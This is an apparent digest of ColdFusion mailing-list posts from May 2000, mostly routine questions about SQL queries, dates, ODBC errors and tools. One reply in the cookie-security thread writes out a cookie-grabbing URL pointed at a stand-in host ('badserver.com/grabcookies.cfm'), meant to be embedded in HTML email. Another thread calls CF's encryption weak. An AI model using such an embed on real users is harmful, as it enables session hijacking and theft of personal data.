RE: SOT: Aussies, daylight savings changes for Sydney 2000 Olympics

[Peter Tilbrook]

>>I'll be glad when they're over and we can get back to living our lives

here, here!

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Re: SOT: Aussies, daylight savings changes for Sydney 2000 Olympics

[Michael Kear]

BLOODY OLYMPICS!!  This whole city is being turned up side down so rich
fat cats like the little spanish nazi** can strut about like potentates.

** Sorry.  His excellency
he-who-has-to-always-be-referred-to-by-his-middle-name

I'll be glad when they're over and we can get back to living our lives

Cheers,
Mike Kear
AFP Web Development
Windsor, NSW, Australia 


On Wed, 17 May 2000, Peter Tilbrook wrote:

> The Olympics 2000 are scheduled for September in Sydney and seven Australian
> States and Territories will shift the Daylight Savings start date from the
> last Sunday in October forward two months to the last Sunday in August. Find
> out how this time change affects Microsoft products and get the new time
> zone update for operating systems here:
> 
> http://www.microsoft.com/australia/support/timezone/2000.htm
> 
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SPECTRA: Embed an object within itself...

[Sean M. O'Brien]

Hello all,

I asked this question at my CFUG meeting tonight and no one knew the
answer. I am creating a product catalog for a web site using Allaire
Spectra. I create a product object and an option object. So that each option
can have it's own SKU, price, etc. What I want to do is then make each
option have it's own set of options. So that a shirt that is red is only
available in large, etc. My problem comes when I try to embed the option
object within itself. I create a property using the option object and when I
go to edit the option object and try to add a new property, the option
property is not there. If I am totally going about this the wrong way,
please let me know, but this is the best way I could think of to accomplish
my goal. Here is a visual:

Product: T-Shirt
Option: BLUE
Option: SMALL
SKU: 001BS
PRICE: 3.25
Option: MEDIUM
SKU: 001BM
PRICE: 3.34
Option: LARGE
Option: RED
Option: MEDIUM
SKU: 001RM
PRICE: 3.99
Option: LARGE
SKU: 001RL
PRICE: 4.50

Does this make sense to everyone?

Any help would be greatly appreciated.

Thanks,

Sean O'Brien
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Re: Subtracting 7 days less than Now() date?

[David Cummins]

What about #DateAdd("d",-7,Now())#?

I think that does it... hope it helps.

David

Michael Imhoff wrote:
> 
> WHERE calendar_depositions.depodate > startdate
> 
> Depending on what database you are using because they don't all handle dates
> the same way, you might want to create the data 7 days ago and then use the
> Year, Day, and Month function along with the CreateDate function so that
> your times are correct.
> 
> Just a thought,
> -Michael
> 
> 
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> - Original Message -
> From: Tiffany <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, May 17, 2000 12:19 AM
> Subject: Subtracting 7 days less than Now() date?
> 
> > Using this:
> >
> > 
> >
> > How would I subtract 7 days from that date?  I'm making a query where
> > data wont be displayed if it is 7 days less than that set date (above).
> >
> > Would something like this work?
> > WHERE Datetoday LT Now(-7)
> >
> > Ugh, I'm a newbie =P
> >
> > Thanks,
> >
> > *~Tiffany~*
> >
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Image Roataion

[Double Down, Inc]

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I have files of images that I want to rotate daily.  Does anyone know of a
custom tag that would do this? If anyone had any ideas on how I would go
about this I would like to hear them.

FYI these are not banners

TIA

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Re: Getting only records with a date

[paul smith]

WHERE MyDate IS NOT NULL

At 08:26 PM 5/16/00 -0700, you wrote:
>I'm failing to write a query that will get all records from a table when 
>they have a date entered
>into a particular field. I want to exclude Null values.
>
>This doesn't work. Still getting all the NULL records. What does work?
>
>
>
>SELECT  MyDate
>FROM Table
>WHERE   (MyDate <> NULL)
>
>
>
>
>Chris Giminez
>Owner - Cyber Scriber Web Site Design
>831-728-4469
>ICQ# 2628000
>
>
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Re: what is ODBC 37000 error ??

[David Cummins]

I don't actually know the answer, but if you do find out, let me know.

One of our sites, the server (which is hosted by someone else) is chewing up 10k
of memory every second for no known reason. They recently installed Service Pack
6, or something like that.

Luckily its not our problem, but its good to know these things...

David

vincy wrote:
> 
> hi,
> Im running my site on the coldfusion 4.0 server, with NT 4.0 and SQL 7.0
> The strangest thing has been happening the last few days, Ive been
> getting these
> ODBC 37000 errors quite often. It says that there is not enough memory to
> run the query.
> 
> No one at the place that is hosting the site can figure out what page
> is causing this.
> They say that over a period of time the memory gets eaten up  until it the
> server runs out of memory.
> 
> Im guessing that one of the pages that is used often is a page that has a
> number of queries and loops to the SQL server .
> 
> Anyone have any ideas on this ...Im running out of time. I cant have the
> server crashing once in two days.
> 
> regards,
> vince
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Re: SQL ID

[David Cummins]

If that's what you're talking about (MSSQL Server), it can do autonumbers.

You just have to set it to non-null, identity seed=1, identity increment=1. Use
Enterprise Manager the first time.

David

"Sean M. O'Brien" wrote:
> 
> I had the same problem when I imported data from Access to SQL. I fixed it
> by using the Upsizing Wizard in Access 2000. It took care of all that stuff.
> 
> Sean
> 
> -Original Message-
> From: Bill [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, May 16, 2000 9:42 PM
> To: [EMAIL PROTECTED]
> Subject: RE: SQL ID
> 
> This may help.
> 
> Bill Guttman
> http://www.katungroup.com/coldfusionlinks2.htm
> 
> 
> 
> DO  {Variables.RandomBig = 40 * RandRange(-5000,5000);
> Variables.RandomSmall = RandRange(1,40);
> Variables.RandomKey = Variables.RandomBig + Variables.RandomSmall;}
> WHILE (Variables.RandomKey IS 0);
> 
> 
> -Original Message-
> From: Randy Adkins [mailto:[EMAIL PROTECTED]]
> Sent: Friday, May 12, 2000 11:15 AM
> To: [EMAIL PROTECTED]
> Subject: SQL ID
> 
> Anyone know how to input a unique id within an SQL database?
> I have a field called Client_ID as uniqueidentifier and do NOT allow NULLS
> 
> but it will not insert the ID as MS Access does.
> 
> Thanks in advance.
> 
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encryption

[Chad Jackson]

Hi,

What is the best way to encrypt cfm files?
If I have 200 files that I want encrypted before I upload to the server what
is the best and fastest way to do this?

Is there a batch program out there that can do this quicly?

Also, it is possible to de-encrypt after I encrypt it?

thanks

chad


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Re: Getting only records with a date

[David Cummins]

Isn't the standard syntax "Where MyDate is not null"?

Hope that helps...

David

Chris Giminez wrote:
> 
> I'm failing to write a query that will get all records from a table when they have a 
>date entered
> into a particular field. I want to exclude Null values.
> 
> This doesn't work. Still getting all the NULL records. What does work?
> 
> 
> SELECT  MyDate
> FROM Table
> WHERE   (MyDate <> NULL)
> 
> 
> Chris Giminez
> Owner - Cyber Scriber Web Site Design
> 831-728-4469
> ICQ# 2628000
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Re: Formatting Table Join Output question

[Michael Imhoff]

I would double check your relationships in the db, if those aren't perfect
it can mess up a lot of your data.

Can you get your query working correctly in Access?  If not, then check the
relationships as I mentioned above but if you can, just call the query with
cfstoredproc.  It will be a lot faster plus it's cleaner and more reusable.

Hope that helps,
-Michael


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- Original Message -
From: Kurt Wiersma <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 10:57 PM
Subject: Formatting Table Join Output question


> Thank you for your help on this query below it is not working under
Access.
>
> I am now trying, with the code below, to output the results of this query
to
> an email. I need the audienceIDs to be joined to the audience name in the
> audience table but of course when I do this under this structure I get two
> records resulting. Both these records are the the same other then then
their
> audience names. I need some way to catch these two audience names out of
> there and display them in the email along with the rest of the email being
> intact. Perhaps I should store them in a local var and then output them?
>
> Anyone have a good way I can accomplish this?
>
> Thanks in advance,
>
> --KW
>
> 
> SELECT calendar.*, audience.*, audevent.eventID, audevent.audienceID
> FROM calendar INNER JOIN (audience INNER JOIN audevent ON
> audience.audienceID=audevent.audienceID) ON
> calendar.eventID=audevent.eventID
> 
>
>  FROM="#contactemail#" SUBJECT="Calendar Entry to be Approved" TYPE="HTML">

> This email was generated by fusion.acc.stolaf.edu!
> 
> 
> The following calendar entry sent by #contactname# is waiting for
approval.
> 
> Event Name: #eventname#
> Start Date: #DateFormat(startdate, "MM/DD/")#
> End Date:  #DateFormat(enddate, "MM/DD/")#
> Time: #TimeFormat(eventtime, "hh:mm tt")#
> Location: #location#
> WebURL: #webURL#
> 
> Audience: #name#
> 
> Category: #name#
> 
> Description:
> #description#
>
>
> --
-
> --
> 
HREF="http://fusion.acc.stolaf.edu/calendar/admin/approve.cfm?id=#eventID#">
> Approve Entry
> 
HREF="http://fusion.acc.stolaf.edu/calender/admin/editevent.cfm?id=#eventID#
> ">Edit this Entry
> 
> 
>
> On 5/16/00 5:34 PM, Heather Haindel at [EMAIL PROTECTED] wrote:
>
> > Based on the tables I gave below, I would use this:
> >
> > select e.eventname, e.eventdescription, a.audiencename
> > from test_event e, test_audience_event ae,
> > test_audience a
> > where e.event_id = ae.event_id
> > and ae.audience_id = a.audience_id
> >
> > This works in SQL Server 6.5...you may need to adjust
> > for your needs.
> >
> > I would also consider setting this up as a view (a
> > query in Access) and pulling the data to your web site
> > from there.
> >
> > --- Kurt Wiersma <[EMAIL PROTECTED]> wrote:
> >>
> >>
> >>
> >> What would be the SQL query to join these tables so
> >> that I could display the names
> >> of the audiences for each event?
> >>
> >> Would something like this work?
> >>
> >>  >> DATASOURCE="#application.DataSource#">
> >> SELECT  c.eventID, c.startdate, c.enddate,
> >> c.eventname, c.eventtime,
> >> c.location, c.approved, c.webURL, c.description,
> >> c.contactname, c.contactemail
> >> FROM calendar c
> >> WHERE c.eventID IS IN (SELECT eventID, audienceID
> >> FROM audevent
> >> WHERE audienceID IN (SELECT
> >> audienceID, name FROM audience))
> >> 
> >>
> >> --
> >> From: Heather Haindel
> >> Reply-To: [EMAIL PROTECTED]
> >> Date: Mon, 15 May 2000 17:21:47 -0700 (PDT)
> >> To: [EMAIL PROTECTED],
> >> [EMAIL PROTECTED]
> >> Subject: Re: Database Structure Question
> >>
> >> Assuming I understand correctly, you have two
> >> entities...audience and event. Each event on your
> >> calendar can be classified under one to many
> >> audience
> >> (types). Each audience (type) can be a
> >> classification
> >> for zero to many events. That gives you a many to
> >> many
> >> relationship between audience and event.
> >>
> >> In order to normalize this, you need an intersection
> >> table. I would create these three tables:
> >>
> >> audience - audience_id (PK), audiencename
> >> event - event_id (PK), eventname, eventdescription
> >> audience_event - audevent_id (PK), audience_id (FK),
> >> event_id (FK)
> >>
> >>
> >> --- Kurt Wiersma  wrote:
> >>>
> >>> I have a database which is going to hold events
> >> for
> >>> a calendar app. In it I
> >>> have a table for audiences which has an audienceID
> >>> and audience name. Inside
> >>> the calendar table I have a field for audienceIDs
> >>> where I was thinking of
> >>> keeping a comma delimited list of audienceIDs.
> >>>
>

SOT: Aussies, daylight savings changes for Sydney 2000 Olympics

[Peter Tilbrook]

The Olympics 2000 are scheduled for September in Sydney and seven Australian
States and Territories will shift the Daylight Savings start date from the
last Sunday in October forward two months to the last Sunday in August. Find
out how this time change affects Microsoft products and get the new time
zone update for operating systems here:

http://www.microsoft.com/australia/support/timezone/2000.htm

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Re: Another Rhetorical Whinge

[David Cummins]

Yeah, its just the zero thing. I don't quite understand why they did that. It's
standard to allow Left(string,0) in most other languages *sigh*

David

Michael Imhoff wrote:
> 
> My bad, I just remember that it will still error on a zero so it looks like
> you are going to have to do something like.
> 
> 
>  #Left(theWord, abs(Val(theChars)))#
> 
> 
> Hope that helps...
> -Michael
> 
> 
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> - Original Message -
> From: David Cummins <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Wednesday, May 17, 2000 3:28 AM
> Subject: Another Rhetorical Whinge
> 
> > Because it feels so good to get these things out of the system...
> >
> > Why does the ColdFusion Left() function only accept positive lengths, i.e.
> not
> > length zero? I've got to put an if condition in now to check for every
> time a
> > string is truncated to the empty string.
> >
> > Urgh.
> >
> > David
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Re: Subtracting 7 days less than Now() date?

[Michael Imhoff]

WHERE calendar_depositions.depodate > startdate

Depending on what database you are using because they don't all handle dates
the same way, you might want to create the data 7 days ago and then use the
Year, Day, and Month function along with the CreateDate function so that
your times are correct.

Just a thought,
-Michael


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- Original Message -
From: Tiffany <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, May 17, 2000 12:19 AM
Subject: Subtracting 7 days less than Now() date?


> Using this:
>
> 
>
> How would I subtract 7 days from that date?  I'm making a query where
> data wont be displayed if it is 7 days less than that set date (above).
>
> Would something like this work?
> WHERE Datetoday LT Now(-7)
>
> Ugh, I'm a newbie =P
>
> Thanks,
>
> *~Tiffany~*
>
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Forta CFUG meeting TODAY Wed 5/17/00

[Michael Smith]

The Special Forta/King CFUG meeting is TODAY Wednesday 5/17/00 6:30pm

Details:

** Forta Meeting

The registrations for the special Ben Forta ColdFusion User Group
Meeting
are going fast - over 700 are registered and we only have 650 seats
(the room hold 800 total). S...
To get a seat (and the free food and drink)
I suggest you COME EARLY!

But I have heard from several CFUG members that they
did NOT get a confirming email from FigLeaf after registering. If you
did not get an email yesterday with

   From: [EMAIL PROTECTED] (Fig Leaf Software Information)
   Subject: See you tomorrow at CFUG-O-RAMA

then run, don't walk, to the alternative CFM site
http://www.cfugorama.com/html/register.cfm
and register. Only registered CFers can win the prizes and seating
is limited!

   * What: Ben Forta/Ashley King sharing CF programming tips
   * Cost: FREE (and free food too if you arrive early)
   * Sponsors: TeraTech, Figleaf, Allaire
   * Website:  http://www.cfug-md.org/cfugorama.cfm if you don't like
Flash
   http://www.cfugorama.com/ if you love Flash
   * When: Wed May 17th, 6:30pm.
   * Where:Marriott Wardman Park Hotel, Grand Ballroom
   http://marriotthotels.com/WASDT/
   Phone: 202-328-2000
   2660 Woodley Road, NW Washington DC
   (near Conn Ave and the Zoo)
   Metro: Redline Woodley Park/Zoo

- Michael Smith, TeraTech, TeraTech http://www.teratech.com/
   MDCFUG http://www.cfug-md.org/


Ben Forta and Ashley King are two of the hottest names in the ColdFusion

universe. Both are well published and bring excellent insight into the
world of ColdFusion for both users and non-users. THE MEETING WILL TAKE
PLACE AT THE MARRIOTT WARDHAM PARK ON MAY 17. The meeting is free and
open to the public.

Ben Forta http://www.forta.com/ is the author of the popular book The
ColdFusion
4.0 Web Application Construction Kit (now in its third edition) and the
more
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Re: what is ODBC 37000 error ??

[Michael Imhoff]

You should try putting all of those queries into a stored procedure instead
of calling query after query.

What exactly are you trying to do on that one page?  Maybe there is a better
way of doing it...

Hope that helps,
-Michael


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Re: Getting only records with a date

[Michael Imhoff]

I know that if you are using access this should work.

> 
> SELECT  MyDate
> FROM Table
> WHERE   MyDate Is Not Null
> 

Hope that helps,
-Michael


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- Original Message -
From: Chris Giminez <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, May 17, 2000 3:26 AM
Subject: Getting only records with a date


> I'm failing to write a query that will get all records from a table when
they have a date entered
> into a particular field. I want to exclude Null values.
>
> This doesn't work. Still getting all the NULL records. What does work?
>
>
> 
> SELECT  MyDate
> FROM Table
> WHERE   (MyDate <> NULL)
> 
>
>
>
> Chris Giminez
> Owner - Cyber Scriber Web Site Design
> 831-728-4469
> ICQ# 2628000
>
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Re: CF Two Select

[Michael Imhoff]

> 2. Is it possible to use more than one on a page. We tried for a short bit
> but were not able to get it to work.

The tag is open source so you could add another parameter to give distinct
names to whatever needs to be distinct to make the tag run.

As far as the first questionYou would probably be better off creating
your own setup with wddx but that can be tricky to get working flawlessly
also.

Hope that helps,
-Michael


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Re: Another Rhetorical Whinge

[Michael Imhoff]

My bad, I just remember that it will still error on a zero so it looks like
you are going to have to do something like.


 #Left(theWord, abs(Val(theChars)))#


Hope that helps...
-Michael


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- Original Message -
From: David Cummins <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, May 17, 2000 3:28 AM
Subject: Another Rhetorical Whinge


> Because it feels so good to get these things out of the system...
>
> Why does the ColdFusion Left() function only accept positive lengths, i.e.
not
> length zero? I've got to put an if condition in now to check for every
time a
> string is truncated to the empty string.
>
> Urgh.
>
> David
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Re: Another Rhetorical Whinge

[Michael Imhoff]

If you just want to make sure that a negative number won't throw an error,
it is best to check the lengths first but you could do something like this
if you really want to.  It would at least suppress the error.






#Left(theWord, abs(theChars))#


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RE: CF and Encryption

[lsellers]

> Folks, the only reason this one hasn't been cracked is because
> no-one cares
> enough yet.

You know... there seems to be another new cf*.com site showing up every
other day of late (and then going stale within two months). Someone out
there might as well do a site who's sole intent is to crack every iteration
of cfencrypt while they're at it. (Besides the one mentioned earlier of
course.)




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RE: SQL ID

[Sean M. O'Brien]

I had the same problem when I imported data from Access to SQL. I fixed it
by using the Upsizing Wizard in Access 2000. It took care of all that stuff.

Sean

-Original Message-
From: Bill [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 9:42 PM
To: [EMAIL PROTECTED]
Subject: RE: SQL ID


This may help.

Bill Guttman
http://www.katungroup.com/coldfusionlinks2.htm



DO  {Variables.RandomBig = 40 * RandRange(-5000,5000);
Variables.RandomSmall = RandRange(1,40);
Variables.RandomKey = Variables.RandomBig + Variables.RandomSmall;}
WHILE (Variables.RandomKey IS 0);



-Original Message-
From: Randy Adkins [mailto:[EMAIL PROTECTED]]
Sent: Friday, May 12, 2000 11:15 AM
To: [EMAIL PROTECTED]
Subject: SQL ID


Anyone know how to input a unique id within an SQL database?
I have a field called Client_ID as uniqueidentifier and do NOT allow NULLS

but it will not insert the ID as MS Access does.

Thanks in advance.



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what is ODBC 37000 error ??

[vincy]

hi,
Im running my site on the coldfusion 4.0 server, with NT 4.0 and SQL 7.0
The strangest thing has been happening the last few days, Ive been 
getting these
ODBC 37000 errors quite often. It says that there is not enough memory to 
run the query.

No one at the place that is hosting the site can figure out what page 
is causing this.
They say that over a period of time the memory gets eaten up  until it the 
server runs out of memory.

Im guessing that one of the pages that is used often is a page that has a 
number of queries and loops to the SQL server .

Anyone have any ideas on this ...Im running out of time. I cant have the 
server crashing once in two days.


regards,
vince

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RE: CF and Encryption

[Chris Montgomery]

Thanks, Michael, I appreciate the timely reply.  That answered my
question. :)

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>-Original Message-
>From: Mike Sheldon [mailto:[EMAIL PROTECTED]]
>Sent: Tuesday, May 16, 2000 11:58 PM
>To: [EMAIL PROTECTED]
>Subject: RE: CF and Encryption


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RE: Form Wizards and too many buttons

[lsellers]

> If you are new to Coldfusion you may find this site useful.
> http://www.katungroup.com/coldfusionlinks2.htm

You know... while you're there... what I found the most humourous thing
about the link to my site there was that the two tags you list me as having
(ping and traceroute) and some of the few that aren't on the site. ;-)

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RE: CF and Encryption

[Mike Sheldon]

Allaire has not revealed what algorithm they are using for the encrypt() and
decrypt() functions. However, given the "tone" of the few mentions they have
made of it, I highly suspect that it's someone's home-built XOR routine that
wouldn't stand up to analysis by a 5 year old with an abacus.

It's definitely *NOT* DES, since DES functions on 64bit data blocks, and
would therefore produce output of a number of characters divisible by 8.
(blocks less than 64bits must be padded)

Whatever this algorithm is, it produces approx. 1.5*n bytes for every n
bytes input, with some occasional garbage appended to the end. It's
definitely a stream-type cypher, and very definitely extremely weak.

Folks, the only reason this one hasn't been cracked is because no-one cares
enough yet.

Michael J. Sheldon
Internet Applications Developer
Phone: 480.699.1084
http://www.desertraven.com/
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-Original Message-
From: Chris Montgomery [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 21:05
To: [EMAIL PROTECTED]
Subject: CF and Encryption


Howdy folks,

I am looking for info on what kind of encryption CF employs.  In
particular, I am wondering about single DES encryption.  I've searched
the docs and support forum at Allaire's site but found no specific
mention on what algorithm CF uses for encryption.

My reason for asking:  Am about to take on a project to write an app for
issuing software licenses.  Developers at the company say that the
actual license generation module will be done in Java, invoking single
DES encryption to generate the license codes.  I know you can employ CF
to encrypt strings and am thinking that if it uses single DES encryption
then why not just use CF for the whole thing, including the license
generation part.

Any thoughts on this or pointers where I can find out more about how CF
encryption works?

Thanks,

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RE: Form Wizards and too many buttons

[Bill]

If you are new to Coldfusion you may find this site useful.
http://www.katungroup.com/coldfusionlinks2.htm

Bill Guttman
http://www.katungroup.com



-Original Message-
From: Amy Steel [mailto:[EMAIL PROTECTED]]
Sent: Monday, May 15, 2000 10:06 AM
To: >
Subject: Form Wizards and too many buttons


Hello, everyone.  I'm pretty new to the ColdFusion world, so please forgive
me if I ask something that seems a little obvious.  I'm still learning the
ropes.

In the Feb 2000 issue of ColdFusion Journal, there's some code that creates
some killer form wizards.  One problem, though.  The WizForm.cfm custom tag
that collects info from "screen" to "screen" also includes the buttons
(back, submit, next).  This is fine for a straight wizard, but I want to
pass the info in a CFMail tag to an e-mail that is stored in one of the form
variables.  I can get everything to work, but when I send the info to the
processing page where the CFMail tag is, it sends the mail and shows the
user a confirmation page - - - with a back, submit, and next button on it!
It's making me crazy.  How do I get these buttons off of here.














for (thisKey in Caller.Fields)


if(isDefined("FORM." & thisKey))
Caller.Fields[thisKey] = evaluate("FORM." & thisKey);
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So, that's my story and I'm stickin' to it.

For the bio stuff... here goes...

Amy Steel
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Canton, MI  USA  48187
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Coming from a Web Design position in a Help Desk oriented IT division, I've
been working mostly with FrontPage 2000 on a Netscape Enterprise 3.6 Server.
I have more server/systems background than scripting/coding background so I
feel like I'm doing this stuff a little haphazardly at times, but it's
pretty cool and I'm getting into it.

What else is there?  Oh yeah!

Dr. Pepper, Doritos, and Chocolate.  That should cover the rest of the
"developer" stuff.  ;-)

Take care, all, and let me know if you can help me out!

Much appreciated,
Amy

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RE: SQL ID

[Bill]

This may help.

Bill Guttman
http://www.katungroup.com/coldfusionlinks2.htm



DO  {Variables.RandomBig = 40 * RandRange(-5000,5000);
Variables.RandomSmall = RandRange(1,40);
Variables.RandomKey = Variables.RandomBig + Variables.RandomSmall;}
WHILE (Variables.RandomKey IS 0);



-Original Message-
From: Randy Adkins [mailto:[EMAIL PROTECTED]]
Sent: Friday, May 12, 2000 11:15 AM
To: [EMAIL PROTECTED]
Subject: SQL ID


Anyone know how to input a unique id within an SQL database?
I have a field called Client_ID as uniqueidentifier and do NOT allow NULLS

but it will not insert the ID as MS Access does.

Thanks in advance.



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RE: Seeking Broadcast E-mail System

[Steve Pierce]

I have had great support from Lyris. One time the president of the company
even called me on my cell phone and I all I wanted to know was if a certain
feature was in the product. I have had great experiences from these folks
and their mail system is really fast.

 - Steve


-Original Message-
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Sent: Wednesday, May 17, 2000 12:04 AM
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Subject: RE: Seeking Broadcast E-mail System


Yes, Lyris is great, if you can get it to work.
The Lyris folks weren't able to tell me how to
get it running on my system. I gave up on it.

best,  paul

At 10:50 PM 5/16/00 -0400, you wrote:
>Try Lyris from www.lyris.com. They use it at C-Net Central for the largest
>email lists in the world, it might be able to do what you want.


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OT: SiteRuler

[David Shadovitz]

Does anyone have experience with ParaSoft's SiteRuler?
It's a tool to detect coding errors.  The current version processes only
HTML, but the next version will handle CFML and JavaScript.

-David

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RE: CF --> IRC

[lsellers]

> Hello all! I run a video game web site and an IRC server. I want
> CF to post
> a message into certain IRC channels depending on the content we are adding
> to the site. Does anyone have any suggestions/experience for/with this? I
> BELIEVE PHP can do it, but I cant seem to find anything on it. I would
> revert to any langauge I know that can do it if anyone knows a way, but CF
> would be much prefered. Thanks in advance for the help!
>
> Mike Grundvig

Well, you CAN do it with CFX_TCPClient as-is but the IRC server has to have
IDENT turned off. Most all irc servers these days required IDENT so...
.

You unfortunately will have to download the RFC for the IRC protocol and
read through all of it to do this ;-), but...

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CF and Encryption

[Chris Montgomery]

Howdy folks,

I am looking for info on what kind of encryption CF employs.  In
particular, I am wondering about single DES encryption.  I've searched
the docs and support forum at Allaire's site but found no specific
mention on what algorithm CF uses for encryption.

My reason for asking:  Am about to take on a project to write an app for
issuing software licenses.  Developers at the company say that the
actual license generation module will be done in Java, invoking single
DES encryption to generate the license codes.  I know you can employ CF
to encrypt strings and am thinking that if it uses single DES encryption
then why not just use CF for the whole thing, including the license
generation part.

Any thoughts on this or pointers where I can find out more about how CF
encryption works?

Thanks,

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CF Two Select

[Chris Badouin]

Hello all-
Is there anyone who had experience with the "Two Select" tag in the Gallery?
Here is the issues I was hoping to solve

1.  When a user uses the back button it disables the tag and requires a
refresh of the page to correct the problem.
2. Is it possible to use more than one on a page. We tried for a short bit
but were not able to get it to work.
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RE: Seeking Broadcast E-mail System

[paul smith]

Yes, Lyris is great, if you can get it to work.
The Lyris folks weren't able to tell me how to
get it running on my system. I gave up on it.

best,  paul

At 10:50 PM 5/16/00 -0400, you wrote:
>Try Lyris from www.lyris.com. They use it at C-Net Central for the largest
>email lists in the world, it might be able to do what you want.

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Getting only records with a date

[Chris Giminez]

I'm failing to write a query that will get all records from a table when they have a 
date entered
into a particular field. I want to exclude Null values.

This doesn't work. Still getting all the NULL records. What does work?



SELECT  MyDate
FROM Table
WHERE   (MyDate <> NULL)




Chris Giminez
Owner - Cyber Scriber Web Site Design
831-728-4469
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Another Rhetorical Whinge

[David Cummins]

Because it feels so good to get these things out of the system...

Why does the ColdFusion Left() function only accept positive lengths, i.e. not
length zero? I've got to put an if condition in now to check for every time a
string is truncated to the empty string.

Urgh.

David
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Re: (job) DHTML/JS/CF developer (Atlanta)

[Stephen M. Aylor]

Just hang tight man... Network Solutions may revoke it at anytime :-)

how bout www.kicksfreakinarse.com www.kicknarse.com


- Original Message -
From: paul smith <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 04:51 PM
Subject: Re: (job) DHTML/JS/CF developer (Atlanta)


> Damn!  And the domain kickass.com is already taken ;-)
>
> At 07:12 PM 5/16/00 -0400, you wrote:
> >We are currently reviewing resumes for a kickass UI Developer that would
> >also be familiar with CF. I am looking for someone that is very fluent in
> >DHTML, specifically dynamic positioning and scripting interaction between
> >frames, layers, and windows.
> >
> >the position will be responsible for building kickass UI components for
an
> >enterprise application suite. CF will be necessary to access specific
> >application variables that are tied to the UI DOM, but most development
by
> >this person will be done in DHTML and JS... interactive calendars, errors
> >and alerts, drag-n-drop effects. Must be able to develop solutions across
> >both IE and Netscape. Must be able to take a design or idea and run with
it.
> >
> >if that's you and you're in the market, please send me your resume. for
more
> >information about our company or the position, feel free to email me.
> >
> >also feel free to pass this along to someone you know that might be
> >interested.
> >
> >--
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> >AtWork Technologies, Inc.
> >6410 Atlantic Blvd., Suite 180 . Norcross, GA 30071-1296
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Re: "You have nice cookies .. mind if I have a look?"

[David Cummins]

But it would be good for things where you have another method of confirmation,
i.e. store your user data encrypted in cookies, but it can only be unlocked by a
valid username/password from the user.

David

Todd Ashworth wrote:
> 
> Well .. as someone else mentioned in response to me .. if you could steal
> someone's encrypted cookie .. it wouldn't really matter in the case where
> someone was masquerading as you.  Sure, they might not be able to read your
> personal info, but, i some cases, they could still sure pretend to be you
> ...
> 
> .Todd
> 
> - Original Message -
> From: John Allred <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 8:33 PM
> Subject: Re: "You have nice cookies .. mind if I have a look?"
> 
> > In the page submitted by Todd:
> > "The NY Times said it has rewritten its cookies code with stronger
> > encryption..."
> >
> > Certainly no one on this list would steal anyone's cookies , but I
> > didn't hear anyone mention the possibility of encrypting one's own
> > cookies to protect their contents. This is possible, isn't it?
> >
> > --John Allred
> 
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Re: "You have nice cookies .. mind if I have a look?"

[David Cummins]

That's already been done by other means... I believe that embedding
"http://badserver.com/grabcookies.cfm?[EMAIL PROTECTED]>"
will work if you read mail while online...

David

Chris Giminez wrote:
> 
> But what good is an encrypted cookie?
> 
> If I have a cookie on my machine that automatically logs me in to Amazon's one 
>click, for example,
> encryption is irrelevant if some hacker steals it and installs it as their own. Next 
>time they go to
> Amazon, they're me; encryption or not.
> 
> What's scary about this is that you can only get your cookies "grabbed" by visiting 
>a site that is
> trying to grab it, right? Well, what about an html email being read? Same thing as 
>visiting a site,
> right? I would imagine a cookie grabbing script could be embedded in a typical html 
>spam just as
> easily.
> 
> Chris Giminez
> 
> > In the page submitted by Todd:
> > "The NY Times said it has rewritten its cookies code with stronger
> > encryption..."
> >
> > Certainly no one on this list would steal anyone's cookies , but I
> > didn't hear anyone mention the possibility of encrypting one's own
> > cookies to protect their contents. This is possible, isn't it?
> >
> > --John Allred
> >
> >
> > Todd Ashworth wrote:
> > >
> > > Might want to be extra carefull what you store in your cookies from now on,
> > > ladies and gents.  Or .. if you are the naughty kind of CF developer, I
> > > suppose you could take advantage of this ...
> > >
> > > http://www.cnnfn.com/2000/05/16/technology/microsoft_browser/
> > >
> > > .Todd
> > >
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Re: "You have nice cookies .. mind if I have a look?"

[Stephen M. Aylor]

Freakin bummer

Its a cookie bashers FEAST..

Steve


- Original Message -
From: Mike Sheldon <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 07:37 PM
Subject: RE: "You have nice cookies .. mind if I have a look?"


> >>Even the one(s) only accessable on the specified domain set in the
cookie?
>
> ALL of them.
>
> Using a specially encoded URL, I was able to access ANY cookie on the
user's
> system. The only thing the attacker needs to know is what domain's cookies
> he wants from the user.
>
> Michael J. Sheldon
> Internet Applications Developer
> Phone: 480.699.1084
> http://www.desertraven.com/
> PGP Key Available on Request
>
> -Original Message-
> From: Todd Ashworth [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, May 16, 2000 19:13
> To: [EMAIL PROTECTED]
> Subject: Re: "You have nice cookies .. mind if I have a look?"
>
>
> Even the one(s) only accessable on the specified domain set in the cookie?
>
> - Original Message -
> From: Owens, Howard <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 6:45 PM
> Subject: RE: "You have nice cookies .. mind if I have a look?"
>
>
> >
> > I went to the site and was able to search for any domain that has set
> > cookies on my computer.  The full Amazon cookie could be pulled up
> > (thankfully, one-click is not enabled on this machine).
> >
> >
> > H.
> >
> > =
> > Howard Owens
> > Web Producer
> > InsideVC.com
> > mailto:[EMAIL PROTECTED]
> > =
> >
> > > -Original Message-
> > > From: Todd Ashworth [SMTP:[EMAIL PROTECTED]]
> > > Sent: Tuesday, May 16, 2000 3:36 PM
> > > To: [EMAIL PROTECTED]
> > > Subject: Re: "You have nice cookies .. mind if I have a look?"
> > >
> > > I'm not sure .. of course all the reports I've seen are going for
shock
> > > value and leaving the technical details usefull to the rest of us out.
> > > You
> > > could test it I suppose.  You could set such a cookie on your computer
> and
